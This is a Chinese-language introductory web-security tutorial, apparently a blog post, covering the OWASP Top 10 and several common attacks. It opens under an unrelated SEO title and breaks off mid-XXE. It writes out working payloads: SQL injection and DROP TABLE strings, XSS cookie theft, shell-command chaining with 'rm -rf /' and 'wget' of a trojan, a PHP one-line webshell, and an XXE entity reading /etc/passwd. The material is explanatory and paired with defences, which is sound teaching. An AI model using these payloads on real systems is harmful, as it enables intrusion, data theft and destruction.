九江市网站建设_网站建设公司_ASP.NET_seo优化-日喀则市网站建设公司

Web 安全入门：从 OWASP Top 10 到常见漏洞

SELECT 密码 FROM 用户表 WHERE 用户名 = '张三'

翻译成人话就是：“从「用户表」里，找出「用户名是张三」的那一行，把对应的「密码」给我。”

二、再搞懂：程序是怎么用 SQL 的？

我们平时用的 APP、网站（比如登录页面），本质是「程序」在帮我们和数据库沟通。流程像这样：

用户输入信息：比如你在登录页填了「用户名 = 张三」「密码 = 123456」；
程序拼接 SQL
：程序会把你的输入，塞进一个提前写好的 “SQL 模板” 里，拼成完整的 SQL 指令；
模板可能是：
```
SELECT * FROM 用户表 WHERE 用户名='[用户输入的用户名]' AND 密码='[用户输入的密码]'
```
你输入后，拼接成的 SQL 就是：
```
SELECT * FROM 用户表 WHERE 用户名='张三' AND 密码='123456'；
```
数据库执行 SQL：程序把拼接好的 SQL 发给数据库，数据库检查 “有没有张三这个人，且密码对不对”；
返回结果给用户：如果有匹配的行，就让你登录成功；没有就提示 “账号密码错误”。

三、SQL 注入的核心原理：“欺骗程序，让它拼出恶意 SQL”

正常情况下，程序希望你输入的是「普通内容」（比如 “张三”“123456”），但如果你的输入里混了「SQL 指令片段」，程序没过滤的话，就会把这些恶意片段当成 SQL 的一部分，拼出一个 “跑偏” 的指令 —— 这就是 SQL 注入。

举个最经典的「登录绕过」例子，你就能秒懂：

场景：某网站的登录逻辑（有漏洞）

程序的 SQL 模板是：

SELECT * FROM 用户表 WHERE 用户名='[输入的用户名]' AND 密码='[输入的密码]' #SELECT 可以理解为“选择” # *可以理解为“所有”

数据库的规则是：只要 SQL 执行后能查到数据，就判定登录成功。

黑客的操作：输入 “恶意内容”

黑客根本不填正确的账号密码，而是在「用户名」框里输入：

admin' OR '1'='1

此时，程序会把这个输入 “原封不动” 地拼进 SQL 模板，最终的 SQL 变成：

SELECT * FROM 用户表 WHERE 用户名='admin' OR '1'='1' AND 密码='[随便填的密码]'

关键：这个恶意 SQL 会让数据库 “判错”

我们先看 SQL 里的关键部分：用户名='admin' OR '1'='1'

OR是 SQL 里的 “逻辑或”：只要两边有一个成立，整个条件就成立；
'1'='1'是永远成立的（1 肯定等于 1）；即永真。

所以不管 “用户名是不是 admin”、“密码对不对”，整个 SQL 的条件用户名='admin' OR '1'='1' AND 密码='...'都会成立 —— 数据库会查到所有用户的数据，程序就误以为 “登录成功”，黑客直接绕过登录进入系统。

四、SQL 注入的其他常见玩法（原理相通）

除了登录绕过，黑客还能通过注入做更危险的事，核心都是 “拼出恶意 SQL”：

1. 拖库：偷整个数据库的数据

如果程序允许输入 “查询条件”（比如电商的 “商品搜索”），黑客可以输入：

' UNION SELECT 用户名,密码 FROM 用户表 --

拼接后的 SQL 会变成：

SELECT 商品名 FROM 商品表 WHERE 商品名='[空]' UNION SELECT 用户名,密码 FROM 用户表 -- '

UNION：SQL 里的 “合并查询”，能把两个查询的结果拼在一起；
--：SQL 里的 “注释符号”，后面的内容会被数据库忽略（避免语法错误）；

最终，程序本应显示 “商品列表”，结果却把「用户表」里的所有用户名、密码都显示出来 —— 黑客就偷走了所有用户的账号密码。

2. 删库：破坏数据库（最恶劣）

如果程序有 “删除数据” 的功能（比如删除自己的订单），黑客可能输入：

' ; DROP TABLE 用户表 --

拼接后的 SQL 会变成：

DELETE FROM 订单表 WHERE 订单号='[空]' ; DROP TABLE 用户表 -- '

;：SQL 里的 “语句结束符”，表示前面的语句结束，后面可以加新的 SQL；
DROP TABLE 用户表：直接删除「用户表」，整个网站的用户数据全没了；

这就是传说中的 “删库跑路” 的简化版（真实场景会更复杂，但原理一样）。

真实场景严禁脱库删库跑路，一删必被抓。

五、为什么会有 SQL 注入？核心原因就 1 个

程序没有对「用户输入」做任何过滤 —— 把用户输入的内容，当成了 “纯文本”，但实际上用户输入里藏了 “SQL 指令”，程序却没识别出来，直接拼进了 SQL 里。

就像你去餐厅点单，服务员问 “要加什么料？”，你说 “加辣椒，然后把厨房的菜单给我”，服务员真的把菜单给你了 —— 这就是 “没过滤你的请求”。

六、简单总结：SQL 注入的本质

用户输入本应是 “数据”（比如 “张三”），但因为程序没过滤，这些输入被当成了 “SQL 代码” 执行 —— 相当于黑客 “混进了程序和数据库的对话里，插了一句恶意的话”，让数据库做了不该做的事。

理解了这个逻辑，再看防注入的方法就很简单了：让程序把用户输入 “严格当成数据”，不让它变成 SQL 代码（比如用 “参数化查询”，或者过滤掉输入里的 SQL 关键词如OR、DROP、--等）。

4、不安全的设计（Insecure Design）

风险表现：业务逻辑漏洞、未考虑安全的架构设计、缺少安全默认配置

典型场景：密码重置流程未校验身份、支付逻辑缺少金额二次校验

防御方案：安全设计评审（SDL）、威胁建模、安全需求前置

举一些栗子：

比如某个网站的忘记密码功能，仅需要你填新的密码，然后再确认一遍就能实现更改，完全没有校验。或者校验起来很简单，类似于几年前的“密保”，仅需要回答一些问题，比如说你喜欢什么颜色，你的梦想是什么，你最喜欢的运动是什么等等，不过目前多数都是需要经过手机号码的校验找回。

再比如，购物时手机创建订单的时候，抓包修改金额，支付时就可以按照自己修改的金额支付了，实现了任意金额支付。

登陆某个网站，验证码仅做前端校验，抓包时根本找不到验证码的限制。前端校验对黑客来说等于没有校验。

5、安全配置错误（Security Misconfiguration）

风险表现：默认账户未删除、服务端暴露敏感信息、中间件版本存在漏洞

典型场景：Tomcat 使用默认密码、数据库开放公网访问、错误页面泄露堆栈信息

防御方案：最小权限配置、定期安全基线检查、禁用不必要的功能

举几个例子直接带过：

1、管理平台使用默认的账号密码，比如admin/123456直接进入后台。

2、路由器 / 摄像头使用厂商的默认账号密码，直接被黑客入侵拿下权限。

3、数据库公网开放，无访问限制，有些公司为了方便员工远程连数据库，直接把MySQL（3306 端口）、MongoDB（27017 端口）的端口开放到公网，而且没配置 “IP 白名单”（只允许特定 IP 访问）。攻击者可以用工具扫描全网的 3306 端口，找到这些暴露的数据库，再尝试暴力破解密码 —— 一旦成功，就能直接操作数据库（删数据、偷用户信息）。

4、系统出错时（比如网页打不开、接口调用失败），如果配置不当，会把敏感信息直接显示给用户，比如说服务器版本，中间件框架等等，这些信息会帮攻击者更快找到漏洞。

6、使用有漏洞的组件（Vulnerable and Outdated Components）

风险表现：使用存在漏洞的第三方组件（框架、库）、组件未及时更新

典型场景：使用存在 Log4j 漏洞的组件、jQuery 版本含 XSS 漏洞

防御方案：组件依赖管理、定期漏洞扫描、建立组件更新机制

ctf用到最多的一般就是apache和nginx的解析漏洞，具体看我上一篇有关中间件漏洞的文章~

7、识别与认证失败（Identification and Authentication Failures）

风险表现：弱密码策略、会话管理失效、多因素认证缺失

典型场景：允许简单密码、会话 ID 未过期、暴力破解无防护

防御方案：强密码策略、会话超时控制、多因素认证（MFA）

如果你已经退出了账号，但拿之前的cookie仍然可以去访问服务器，进行正常的业务，那么这就是会话管理失效。某些场合黑客甚至可以复用其他用户的凭证进行登陆。

多因素认证的目的其实就是为了防止暴力破解，比如说登录接口加上“人机验证”，限制密码错误的次数等等。

8、软件与数据完整性失效（Software and Data Integrity Failures）

风险表现：未校验软件更新包完整性、数据传输过程被篡改、缺少数字签名

典型场景：恶意更新包植入后门、API 请求参数被篡改

防御方案：数字签名验证、校验和比对、使用不可变数据存储

软件与数据完整性失效的核心是“系统未对‘软件更新包、关键数据、操作指令’的完整性做校验”，导致攻击者可篡改内容、植入恶意代码或伪造操作，最终破坏系统功能、窃取数据或控制设备。

如果数据的传输过程未进行加密、签名，那么黑客很容易的就可以进行劫持篡改数据，最后实现危险操作。

9、安全日志与监控失效（Security Logging and Monitoring Failures）

风险表现：未记录关键操作日志、日志未备份、异常行为无告警

典型场景：登录失败不记录 IP、SQL 注入攻击无日志溯源

防御方案：关键操作全日志、日志加密存储、建立异常监控告警机制

意思很明确，被黑客攻击了你要有记录，能够溯源出黑客的攻击思路。

10、服务器端请求伪造（Server-Side Request Forgery, SSRF）

风险表现：服务器未过滤用户输入的请求地址，导致访问内网资源

典型场景：通过 URL 参数访问内网数据库、探测内网服务端口

防御方案：请求地址白名单、禁用危险协议（file://、gopher://）、限制内网访问

一、先搞懂：SSRF 到底是啥？（生活类比）

你可以把「服务器」想象成一个 “热心的快递员”，「用户」是让快递员帮忙办事的人。

正常情况：你让快递员 “帮我去楼下便利店买一瓶水”（用户给的是 “公开可访问的地址”），快递员去便利店（公开地址）完成任务，没问题。

SSRF 的情况：你其实想知道 “快递员自己家的抽屉里有什么”（但你进不去快递员家，因为那是他的 “内网”），于是你骗快递员：“帮我去‘你家卧室抽屉’拿个东西，我急用”—— 快递员没多想，真的去自己家抽屉（内网地址）拿了东西给你，等于你通过快递员，拿到了本不该属于你的 “内网信息”。

简单说：SSRF 就是 “用户骗服务器去访问服务器能到、但用户自己到不了的地址（比如服务器的内网）”，从而窃取信息或攻击内网服务。

二、SSRF 的核心原理：服务器 “没过滤” 用户给的地址

服务器之所以会被骗，根源是“用户让它访问哪个地址，它就访问哪个，不做任何检查”—— 就像快递员 “用户说去哪就去哪，不核实地址是否安全”。

我们用一个常见的场景（“在线 URL 预览” 功能）拆解具体流程：

很多网站有 “URL 预览” 功能：你输入一个网址（比如https://xxx.com），网站服务器会帮你访问这个网址，抓取页面标题、图片，显示成 “预览卡片”。这个功能如果没做防护，就会被 SSRF 攻击：

用户输入 “恶意地址”：你不输入公开网址，反而输入 “服务器内网的地址”，比如http://192.168.1.100:3306（这是服务器内网的 MySQL 数据库地址，用户自己的电脑根本访问不到，因为内网不对外公开）；
服务器 “无脑执行”：服务器收到你给的地址http://192.168.1.100:3306，没检查这个地址是不是 “内网地址”，直接帮你去访问；
服务器返回 “内网信息”：因为服务器在自己的内网里，能访问到192.168.1.100:3306（数据库），它会把 “访问结果”（比如数据库的版本信息、是否能连接成功）返回给你；
你拿到 “内网情报”：你通过服务器的 “帮忙”，知道了 “服务器内网有个 MySQL 数据库，端口 3306 是开着的”，甚至能进一步利用这个信息攻击数据库。

三、SSRF 能做什么坏事？（3 个通俗场景）

本质上，SSRF 的危害就是 “借服务器的‘眼睛’看内网，借服务器的‘手’攻击内网”，常见有 3 类操作：

场景 1：偷看服务器内网的 “秘密文件”

服务器的内网里，可能存着 “不能对外公开的文件”，比如：

服务器自己的配置文件（存着数据库密码、API 密钥）；
内网其他电脑的共享文件（比如公司的内部文档）。

攻击者可以骗服务器：“帮我访问file:///etc/passwd”（file://是一种协议，用来访问服务器本地的文件，就像你电脑上的 “C 盘文件”）。

如果服务器没禁用file://协议，就会真的去读自己本地的/etc/passwd文件（Linux 系统的用户信息文件），并把内容返回给攻击者 —— 攻击者就拿到了服务器的用户名单，为后续攻击铺路。

场景 2：探测内网有哪些 “可攻击的服务”

企业的内网里，通常有很多 “不对外公开的服务”，比如：

内网数据库（MySQL、Redis，端口 3306、6379）；
内网管理后台（比如路由器管理页、服务器监控页，地址可能是http://192.168.1.1）。

攻击者没法直接访问这些内网服务，但可以骗服务器 “逐个探测”：

先让服务器访问http://192.168.1.1:80（看内网路由器的 80 端口是否开着）；
再让服务器访问http://192.168.1.2:3306（看内网数据库的 3306 端口是否开着）；
根据服务器返回的 “是否能访问成功”，画出内网的 “服务地图”—— 知道哪些服务能攻击，后续就针对性下手（比如用弱密码破解内网数据库）。

场景 3：直接攻击内网里的 “脆弱服务”

有些内网服务本身有漏洞（比如旧版本的 Redis、Elasticsearch），攻击者可以骗服务器 “用漏洞攻击这些服务”。

比如内网有个 “有漏洞的 Redis 服务”（地址192.168.1.3:6379），攻击者知道这个漏洞的利用方法：只要向 Redis 发送一段特定指令，就能在服务器上写文件。

于是攻击者骗目标服务器：“帮我向http://192.168.1.3:6379发送这段指令”—— 目标服务器真的发送了指令，内网的 Redis 服务被攻击成功，攻击者在 Redis 所在的电脑上写了 “后门文件”，最终控制了这台内网电脑。

四、怎么防 SSRF？（3 个 “堵漏洞” 的方法）

既然 SSRF 是 “服务器没过滤地址” 导致的，防御核心就是 “让服务器学会‘分辨地址是否安全’，不被用户骗”。

方法 1：只允许访问 “白名单里的地址”（最安全）

就像快递员只允许去 “公司规定的几个便利店”，不允许去其他地方 —— 服务器只允许访问 “提前列好的、安全的地址”，其他地址一律拒绝。

比如 “URL 预览” 功能，只允许服务器访问https://baidu.com、https://zhihu.com等公开可信的网址，用户输入其他地址（比如内网地址、file://协议地址），服务器直接返回 “无效地址”，不执行请求。

方法 2：禁用 “危险的访问协议”

有些协议本身就很危险，比如file://（访问本地文件）、gopher://（能发送任意数据，常用于攻击数据库）、ftp://（访问 FTP 服务器）—— 这些协议根本不该让用户通过服务器调用。

服务器可以直接 “禁用这些协议”：只要用户输入的地址是以file://、gopher://开头的，不管后面是什么，一律拒绝访问，从根源堵住 “读本地文件、发恶意数据” 的漏洞。

方法 3：禁止服务器访问 “内网地址段”

内网地址是有固定范围的（比如192.168.x.x、10.x.x.x、172.16.x.x，这些地址只能在内部网络访问，不能从互联网直接访问）。

服务器可以做一个 “地址过滤”：如果用户输入的地址属于 “内网地址段”，就拒绝访问。比如用户输入http://192.168.1.100，服务器一看 “这是内网地址”，直接不执行请求，避免被用来探测内网。

五、总结：SSRF 的本质

SSRF 的核心就是 “利用服务器的‘内网访问权限’，帮用户做用户自己做不到的事”—— 因为服务器能进内网，用户进不去，所以用户骗服务器当 “跳板”，攻击内网。

防御的关键也很简单：不让服务器 “无脑听话”，通过白名单、禁协议、拦内网地址，让服务器只做 “安全的事”。

以上属于OWASP Top10大概讲述，并不全，大家可以做个初步了解，下面一些漏洞本质上也是属于OWASP top10里面的，这里单列出来详细解释一些。

一、XSS（跨站脚本攻击）：在网页里 “藏恶意代码”，偷用户凭证

1. 通俗理解：给网页 “贴小广告”

你可以把「网页」想象成 “小区公告栏”，正常情况下，公告栏只贴物业发的通知（正常内容）；而 XSS 漏洞，就是 “有人偷偷在公告栏贴了一张‘带病毒的小广告’”—— 其他业主（用户）看公告时，会不小心触发小广告里的恶意操作。

核心逻辑：攻击者把 “恶意脚本代码” 注入到网页里，用户打开网页时，浏览器会自动执行这段代码，从而窃取用户的登录凭证（如 Cookie、Token）。

2. 漏洞原理（分 3 种常见类型，最严重的是“存储型 XSS”）

（1）存储型 XSS（危害最大，代码存在服务器里）

比如某论坛允许用户 “发表评论”，但没过滤评论里的脚本代码：

攻击者在评论框里输入：
```
<script>alert(document.cookie)</script> #<script></script>是html标签 #alert(document.cookie)是 JavaScript 代码
```
（这段代码的作用：弹出当前用户的 Cookie——Cookie 是登录凭证，有了它就能冒充用户登录）；
服务器没过滤，直接把这段 “带脚本的评论” 存到数据库里；
其他用户打开这个论坛帖子时，服务器会把 “含恶意脚本的评论” 返回给用户的浏览器；
浏览器以为这段脚本是 “网页正常代码”，自动执行，弹出用户自己的 Cookie；
攻击者通过代码把 “偷到的 Cookie” 发送到自己的服务器，拿到后直接用 Cookie 登录用户账号，偷看私信、冒充发帖，HTML 标签 + JavaScript 代码可以实现的功能远远不止这些。

（2）反射型 XSS（代码临时 “路过” 服务器，不存储）

比如某网站的 “搜索功能” 有漏洞：

攻击者构造一个含恶意代码的搜索链接：

http://网站.com/search?key=<script>偷Cookie的代码</script>

攻击者把这个链接发给用户（比如伪装成 “中奖链接”），用户点进去；
服务器把 “搜索关键词里的恶意代码” 直接返回给浏览器（没过滤）；
浏览器执行代码，偷取用户 Cookie，发送给攻击者。
特点：代码不存服务器，只靠 “诱骗用户点链接” 触发，一般常用于钓鱼攻击，危害比存储型小，但更隐蔽。

（3）DOM 型 XSS（代码只在用户浏览器里执行，不经过服务器）

比如某网页的 “导航栏” 会根据 URL 参数显示内容，但没过滤参数：

攻击者构造链接：

http://网站.com/#<script>偷Cookie的代码</script>

用户点链接后，网页的 JavaScript 代码会 “读取 URL 里的 [#后面内容”](javascript:😉，并显示在导航栏上；
因为没过滤，恶意脚本被直接执行，偷取 Cookie；
特点：服务器完全没参与，漏洞在前端代码里，更难被服务器层面的防护检测。

二、命令执行：让服务器 “帮你运行系统命令”，直接控服务器

1. 通俗理解：给服务器 “下非法指令”

你可以把「服务器」想象成 “餐厅后厨”，正常情况下，后厨只执行 “服务员传过来的点餐指令”（比如 “做一份炒饭”）；而命令执行漏洞，就是 “有人冒充服务员，给后厨传了‘把厨房的煤气罐搬出来’的危险指令”—— 后厨没核实，真的执行了。

核心逻辑：攻击者通过网页输入，让服务器执行 “系统命令”（比如 Linux 的ls、Windows 的dir），从而控制服务器文件、进程，甚至拿到服务器最高权限。

2. 漏洞原理（以 “ping 命令功能” 为例，最经典场景）

很多网站有 “网络诊断” 功能：用户输入 IP 地址，服务器会执行ping 输入的IP命令，检测网络是否通畅。如果没过滤用户输入，就会触发命令执行：

正常情况：用户输入8.8.8.8（谷歌 DNS），服务器执行ping 8.8.8.8，返回 “ping 通了” 的结果；
攻击情况：攻击者输入8.8.8.8 && ls（&&是系统命令的 “拼接符”，表示 “先执行前面的命令，再执行后面的”）；
服务器没过滤&& ls，直接执行拼接后的命令：ping 8.8.8.8 && ls；
执行结果：先 ping 通 8.8.8.8，再执行ls（Linux 命令，列出当前目录下的所有文件）；
服务器把 “文件列表” 返回给攻击者，攻击者就能看到服务器里存了什么文件，下一步可以执行cat 敏感文件（读取文件内容）、rm -rf /（删除所有文件，极端情况）。

3. 典型危害

查看服务器文件（比如读数据库密码文件、网站配置文件）；
上传恶意程序（比如执行wget 恶意木马地址，下载木马到服务器）；
控制服务器进程（比如执行kill 关键进程，让网站崩溃）；
拿到服务器最高权限（比如执行sudo su，成为 root 用户，完全掌控服务器）。

三、文件包含：让服务器 “加载恶意文件”，把恶意代码当自己的代码执行

1. 通俗理解：给服务器 “喂毒文件”

你可以把「服务器」想象成 “学生”，正常情况下，学生只 “读老师发的教材”（正常代码文件）；而文件包含漏洞，就是 “有人冒充老师，给学生发了‘带错误答案的假教材’”—— 学生没核实，真的按假教材内容学习（执行代码）。

核心逻辑：服务器的代码里有 “包含其他文件” 的功能（比如 PHP 的include函数），如果包含的 “文件路径” 能被用户控制，攻击者就能让服务器包含 “自己上传的恶意文件”，从而执行恶意代码。

2. 漏洞原理（以 PHP 网站的 “模板加载” 为例）

正常情况下，网站想让用户选 “cn” 就加载 “cn.php”（中文模板），选 “en” 就加载 “en.php”（英文模板），代码逻辑是：
```
include $_GET['lang'] . '.php';
```
（用户输入 “lang=cn”，就变成include 'cn.php'，没问题）
但攻击者可以钻空子：
关键漏洞就在这：
PHP 的include函数有个 “坏毛病”—— 如果找不到要加载的.php文件，它会 “退而求其次”，去读同名的其他文件（比如/tmp/evil.txt），并且把这个 txt 文件里的内容当成 PHP 代码执行。
结果就是：攻击者传的evil.txt被当成 PHP 代码执行，服务器被远程控制。
核心问题：用户输入直接决定了 “服务器要加载哪个文件”，且没过滤危险路径。

3. 典型危害

和命令执行类似，能读文件、写文件、执行系统命令；
更隐蔽：恶意文件可以是 “.txt”“jpg” 等非脚本后缀，绕过文件上传限制；
常和 “文件上传漏洞” 配合：先上传恶意文件，再用文件包含漏洞执行。

四、文件上传漏洞：给服务器 “传恶意文件”，把后门藏进服务器

1. 通俗理解：给服务器 “寄炸弹包裹”

你可以把「服务器的 “文件上传功能”」想象成 “小区的快递接收点”，正常情况下，只收 “合法快递”（比如图片、文档）；而文件上传漏洞，就是 “有人把‘炸弹’伪装成‘普通包裹’寄进去”—— 接收点没检查，真的收下了，后续 “炸弹” 被触发。

核心逻辑：网站的 “文件上传功能”（如头像上传、附件上传）没做好 “文件类型 / 内容过滤”，攻击者把 “恶意脚本文件”（如.php、.jsp）伪装成 “合法文件”（如.jpg、.png）上传到服务器，后续通过其他方式（如文件包含、解析漏洞）执行这个恶意文件。

2. 漏洞原理（以 “头像上传” 为例，最常见场景）

某社交网站允许用户上传头像，限制 “只能传.jpg/.png 图片”，但只检查 “文件后缀名”，没检查 “文件内容”：

攻击者准备一个 “伪装成图片的 PHP 木马”：
新建一个文件，内容是<?php @eval($_POST['cmd']);?>（一句话木马）；
把文件后缀改成.jpg（命名为evil.jpg），伪装成图片；
攻击者在 “头像上传” 页面，选择evil.jpg上传；
服务器只检查后缀是.jpg，认为是合法图片，允许上传，存到/upload/evil.jpg；
攻击者利用 “服务器的解析漏洞”（比如 Apache 的多后缀解析），访问http://网站.com/upload/evil.jpg.php—— 服务器把evil.jpg当作 PHP 执行；
木马被执行，攻击者用工具连接，控制服务器。
具体大家可以多在upload靶场练习一下。

3. 典型危害

植入后门（恶意文件长期存在服务器，攻击者随时能连接）；
批量攻击（通过后门控制多台服务器，组成 “僵尸网络”）；
窃取数据（通过后门读取服务器的数据库、用户信息）；
破坏服务器（通过后门执行rm -rf /等危险命令）。

五、点击劫持：给网页 “盖一层透明伪装”，骗用户点错按钮

1. 通俗理解：给网页 “贴透明胶布”

你可以把目标网页想象成 “一张写着‘按红色按钮领奖品’的纸”，点击劫持就是 “有人在这张纸上盖了一层透明的‘另一张纸’，上面写着‘按红色按钮确认转账’”—— 用户以为在按 “领奖品” 按钮，实际按的是 “转账” 按钮。

核心逻辑：攻击者用iframe（网页嵌套技术）把 “目标网页”（比如转账页面、登录页面）嵌套到自己的钓鱼网页里，再用透明层盖住目标网页的关键按钮，同时在透明层上放 “诱导用户点击的伪装按钮”，用户点击伪装按钮时，实际点击的是目标网页的关键按钮。

2. 漏洞原理（以 “冒充用户点赞” 为例）

某社交网站的 “点赞” 按钮没做点击劫持防护，攻击者想骗用户给某条恶意帖子点赞：

攻击者做一个钓鱼网页，内容是 “点击领取 100 元红包”，并在网页里用iframe嵌套 “社交网站的帖子页面”（包含点赞按钮）；
攻击者用 CSS 样式把iframe设置为 “透明”，并精准定位到 “点赞按钮” 和 “红包领取按钮” 重叠；
攻击者把钓鱼网页发给用户，用户看到 “点击领红包”，点击按钮；
因为iframe透明且重叠，用户实际点击的是 “社交网站的点赞按钮”，不知不觉给恶意帖子点了赞；
更危险的场景：如果嵌套的是 “转账页面”，用户点击 “领红包” 时，实际点击的是 “确认转账” 按钮，导致资金损失。

3. 典型危害

冒充用户操作（点赞、关注、发评论、下单）；
诱骗用户输入敏感信息（比如嵌套登录页面，骗用户输入账号密码）；
触发危险操作（转账、授权、删除数据）。

六、XXE（外部实体注入）：给 “文档解析” 喂 “恶意指令”，偷服务器文件

1. 通俗理解：给 “文档翻译官” 喂 “假翻译规则”

你可以把服务器的 “XML 文档解析功能”想象成 “翻译官”，正常情况下，翻译官只按 “官方翻译规则”（正常 XML 语法）翻译文档；而 XXE 漏洞，就是 “有人给翻译官塞了‘假的翻译规则’，规则里藏着‘让翻译官偷办公室文件’的指令”—— 翻译官没核实，真的按假规则做了。

核心逻辑：XML 文档支持 “外部实体引用”（可以引用外部文件的内容），如果服务器的 XML 解析器没禁用 “外部实体”，攻击者可以构造 “含恶意外部实体的 XML 文档”，让服务器解析时读取 “服务器本地的敏感文件”，并返回给攻击者。

2. 漏洞原理（以 “XML 格式的接口” 为例）

某网站的 “订单提交接口” 支持接收 XML 格式的数据（比如<order><id>123</id></order>），服务器用 XML 解析器处理这个 XML：

正常情况：用户发送正常 XML，服务器解析后处理订单；

攻击情况：攻击者构造 “含恶意外部实体的 XML”：

<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY evil SYSTEM "file:///etc/passwd"> <!-- 定义外部实体evil，引用服务器的/etc/passwd文件（Linux用户信息文件） --> ]> <order><id>&evil;</id></order> <!-- 在订单ID里引用evil实体，即把/etc/passwd的内容当作订单ID -->